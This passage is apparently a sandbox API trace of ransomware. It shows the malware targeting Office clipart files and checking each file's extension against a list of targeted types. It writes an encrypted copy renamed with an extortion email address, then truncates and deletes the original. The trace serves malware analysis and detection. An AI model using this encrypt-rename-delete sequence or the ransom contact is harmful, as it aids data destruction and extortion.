	[0178.890] lstrlenW (lpString="J0107500.WMF") returned 12
	[0178.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.891] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=4200) returned 1
	[0178.891] CloseHandle (hObject=0x344) returned 1
	[0178.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220
	[0178.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.892] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.892] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.894] GetLastError () returned 0x0
	[0178.894] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1068, lpOverlapped=0x0) returned 1
	[0178.896] WriteFile (in: hFile=0x544, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1070, lpOverlapped=0x0) returned 1
	[0178.897] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.897] WriteFile (in: hFile=0x544, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.897] SetEndOfFile (hFile=0x544) returned 1
	[0178.897] CloseHandle (hObject=0x544) returned 1
	[0178.898] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.898] SetEndOfFile (hFile=0x344) returned 1
	[0178.901] CloseHandle (hObject=0x344) returned 1
	[0178.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1
	[0178.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.903] lstrlenW (lpString=".doc") returned 4
	[0178.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.903] lstrlenW (lpString=".docx") returned 5
	[0178.904] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.904] lstrlenW (lpString=".pdf") returned 4
	[0178.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.904] lstrlenW (lpString=".xls") returned 4
	[0178.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.904] lstrlenW (lpString=".xlsx") returned 5
	[0178.904] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.904] lstrlenW (lpString=".ppt") returned 4
	[0178.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.904] lstrlenW (lpString=".zip") returned 4
	[0178.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.904] lstrlenW (lpString=".rar") returned 4
	[0178.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.904] lstrlenW (lpString=".bz2") returned 4
	[0178.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.904] lstrlenW (lpString=".7z") returned 3
	[0178.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.904] lstrlenW (lpString=".dbf") returned 4
	[0178.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.904] lstrlenW (lpString=".1cd") returned 4
	[0178.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.904] lstrlenW (lpString=".jpg") returned 4
	[0178.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.905] lstrlenW (lpString=".doc") returned 4
	[0178.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString=".docx") returned 5
	[0178.905] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0178.905] lstrlenW (lpString=".pdf") returned 4
	[0178.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString=".xls") returned 4
	[0178.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.905] lstrlenW (lpString=".xlsx") returned 5
	[0178.905] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0178.905] lstrlenW (lpString=".ppt") returned 4
	[0178.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.905] lstrlenW (lpString=".zip") returned 4
	[0178.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.905] lstrlenW (lpString=".rar") returned 4
	[0178.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString=".bz2") returned 4
	[0178.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString=".7z") returned 3
	[0178.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.905] lstrlenW (lpString=".dbf") returned 4
	[0178.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.905] lstrlenW (lpString=".1cd") returned 4
	[0178.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68
	[0178.906] lstrlenW (lpString=".jpg") returned 4
	[0178.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.906] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0178.906] lstrlenW (lpString="J0107502.WMF") returned 12
	[0178.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.907] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=10836) returned 1
	[0178.907] CloseHandle (hObject=0x344) returned 1
	[0178.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220
	[0178.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0178.908] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.908] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0178.909] GetLastError () returned 0x0
	[0178.909] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2a54, lpOverlapped=0x0) returned 1
	[0179.227] WriteFile (in: hFile=0x544, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0179.228] ReadFile (in: hFile=0x344, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.228] WriteFile (in: hFile=0x544, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.229] SetEndOfFile (hFile=0x544) returned 1
	[0179.229] CloseHandle (hObject=0x544) returned 1
	[0179.229] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.229] SetEndOfFile (hFile=0x344) returned 1
	[0179.232] CloseHandle (hObject=0x344) returned 1
	[0179.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 1
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.234] lstrlenW (lpString=".doc") returned 4
	[0179.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.234] lstrlenW (lpString=".docx") returned 5
	[0179.234] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0179.234] lstrlenW (lpString=".pdf") returned 4
	[0179.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.234] lstrlenW (lpString=".xls") returned 4
	[0179.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.235] lstrlenW (lpString=".xlsx") returned 5
	[0179.235] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0179.235] lstrlenW (lpString=".ppt") returned 4
	[0179.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.235] lstrlenW (lpString=".zip") returned 4
	[0179.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.235] lstrlenW (lpString=".rar") returned 4
	[0179.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString=".bz2") returned 4
	[0179.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString=".7z") returned 3
	[0179.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.235] lstrlenW (lpString=".dbf") returned 4
	[0179.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.235] lstrlenW (lpString=".1cd") returned 4
	[0179.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.235] lstrlenW (lpString=".jpg") returned 4
	[0179.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.235] lstrlenW (lpString=".doc") returned 4
	[0179.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.235] lstrlenW (lpString=".docx") returned 5
	[0179.235] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0179.235] lstrlenW (lpString=".pdf") returned 4
	[0179.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.236] lstrlenW (lpString=".xls") returned 4
	[0179.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.236] lstrlenW (lpString=".xlsx") returned 5
	[0179.236] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0179.236] lstrlenW (lpString=".ppt") returned 4
	[0179.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.236] lstrlenW (lpString=".zip") returned 4
	[0179.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.236] lstrlenW (lpString=".rar") returned 4
	[0179.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.236] lstrlenW (lpString=".bz2") returned 4
	[0179.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.236] lstrlenW (lpString=".7z") returned 3
	[0179.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.236] lstrlenW (lpString=".dbf") returned 4
	[0179.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.236] lstrlenW (lpString=".1cd") returned 4
	[0179.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF") returned 68
	[0179.236] lstrlenW (lpString=".jpg") returned 4
	[0179.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.237] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.237] lstrlenW (lpString="J0107528.WMF") returned 12
	[0179.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.608] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=6792) returned 1
	[0179.608] CloseHandle (hObject=0x388) returned 1
	[0179.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220
	[0179.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.609] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.609] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.610] GetLastError () returned 0x0
	[0179.610] ReadFile (in: hFile=0x388, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1a88, lpOverlapped=0x0) returned 1
	[0179.613] WriteFile (in: hFile=0x540, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0179.614] ReadFile (in: hFile=0x388, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.614] WriteFile (in: hFile=0x540, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.615] SetEndOfFile (hFile=0x540) returned 1
	[0179.615] CloseHandle (hObject=0x540) returned 1
	[0179.615] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.615] SetEndOfFile (hFile=0x388) returned 1
	[0179.618] CloseHandle (hObject=0x388) returned 1
	[0179.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1
	[0179.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.619] lstrlenW (lpString=".doc") returned 4
	[0179.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.619] lstrlenW (lpString=".docx") returned 5
	[0179.619] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.620] lstrlenW (lpString=".pdf") returned 4
	[0179.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.620] lstrlenW (lpString=".xls") returned 4
	[0179.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.620] lstrlenW (lpString=".xlsx") returned 5
	[0179.620] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.620] lstrlenW (lpString=".ppt") returned 4
	[0179.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.620] lstrlenW (lpString=".zip") returned 4
	[0179.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.620] lstrlenW (lpString=".rar") returned 4
	[0179.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.620] lstrlenW (lpString=".bz2") returned 4
	[0179.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.620] lstrlenW (lpString=".7z") returned 3
	[0179.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.620] lstrlenW (lpString=".dbf") returned 4
	[0179.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.620] lstrlenW (lpString=".1cd") returned 4
	[0179.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.621] lstrlenW (lpString=".jpg") returned 4
	[0179.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.621] lstrlenW (lpString=".doc") returned 4
	[0179.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString=".docx") returned 5
	[0179.621] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.621] lstrlenW (lpString=".pdf") returned 4
	[0179.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString=".xls") returned 4
	[0179.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.621] lstrlenW (lpString=".xlsx") returned 5
	[0179.621] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.621] lstrlenW (lpString=".ppt") returned 4
	[0179.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.621] lstrlenW (lpString=".zip") returned 4
	[0179.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.621] lstrlenW (lpString=".rar") returned 4
	[0179.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString=".bz2") returned 4
	[0179.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString=".7z") returned 3
	[0179.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.621] lstrlenW (lpString=".dbf") returned 4
	[0179.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.622] lstrlenW (lpString=".1cd") returned 4
	[0179.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0179.622] lstrlenW (lpString=".jpg") returned 4
	[0179.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.622] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
